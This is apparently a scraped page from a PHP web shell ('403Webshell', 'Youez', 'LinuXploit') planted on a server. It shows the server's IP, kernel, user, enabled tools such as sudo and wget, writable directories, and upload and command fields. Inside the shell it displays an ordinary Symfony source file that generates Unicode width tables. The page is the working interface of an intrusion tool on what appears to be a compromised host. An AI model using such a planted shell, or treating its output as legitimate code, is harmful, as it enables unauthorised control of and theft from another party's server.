403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.200
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/php/Symfony/Component/String/Resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/php/Symfony/Component/String/Resources/WcswidthDataGenerator.php
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\String\Resources;

use Symfony\Component\HttpClient\HttpClient;
use Symfony\Component\String\Exception\RuntimeException;
use Symfony\Component\VarExporter\VarExporter;
use Symfony\Contracts\HttpClient\HttpClientInterface;

/**
 * @internal
 */
final class WcswidthDataGenerator
{
    private string $outDir;
    private HttpClientInterface $client;

    public function __construct(string $outDir)
    {
        $this->outDir = $outDir;

        $this->client = HttpClient::createForBaseUri('https://www.unicode.org/Public/UNIDATA/');
    }

    public function generate(): void
    {
        $this->writeWideWidthData();

        $this->writeZeroWidthData();
    }

    private function writeWideWidthData(): void
    {
        if (!preg_match('/^# EastAsianWidth-(\d+\.\d+\.\d+)\.txt/', $content = $this->client->request('GET', 'EastAsianWidth.txt')->getContent(), $matches)) {
            throw new RuntimeException('The Unicode version could not be determined.');
        }

        $version = $matches[1];

        if (!preg_match_all('/^([A-H\d]{4,})(?:\.\.([A-H\d]{4,}))? +; [W|F]/m', $content, $matches, \PREG_SET_ORDER)) {
            throw new RuntimeException('The wide width pattern did not match anything.');
        }

        $this->write('wcswidth_table_wide.php', $version, $matches);
    }

    private function writeZeroWidthData(): void
    {
        if (!preg_match('/^# DerivedGeneralCategory-(\d+\.\d+\.\d+)\.txt/', $content = $this->client->request('GET', 'extracted/DerivedGeneralCategory.txt')->getContent(), $matches)) {
            throw new RuntimeException('The Unicode version could not be determined.');
        }

        $version = $matches[1];

        if (!preg_match_all('/^([A-H\d]{4,})(?:\.\.([A-H\d]{4,}))? *; (?:Me|Mn)/m', $content, $matches, \PREG_SET_ORDER)) {
            throw new RuntimeException('The zero width pattern did not match anything.');
        }

        $this->write('wcswidth_table_zero.php', $version, $matches);
    }

    private function write(string $fileName, string $version, array $rawData): void
    {
        $content = $this->getHeader($version).'return '.VarExporter::export($this->format($rawData)).";\n";

        if (!file_put_contents($this->outDir.'/'.$fileName, $content)) {
            throw new RuntimeException(sprintf('The "%s" file could not be written.', $fileName));
        }
    }

    private function getHeader(string $version): string
    {
        $date = (new \DateTimeImmutable())->format('c');

        return <<<EOT
<?php

/*
 * This file has been auto-generated by the Symfony String Component for internal use.
 *
 * Unicode version: $version
 * Date: $date
 */


EOT;
    }

    private function format(array $rawData): array
    {
        $data = array_map(static function (array $row): array {
            $start = $row[1];
            $end = $row[2] ?? $start;

            return [hexdec($start), hexdec($end)];
        }, $rawData);

        usort($data, static fn (array $a, array $b): int => $a[0] - $b[0]);

        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit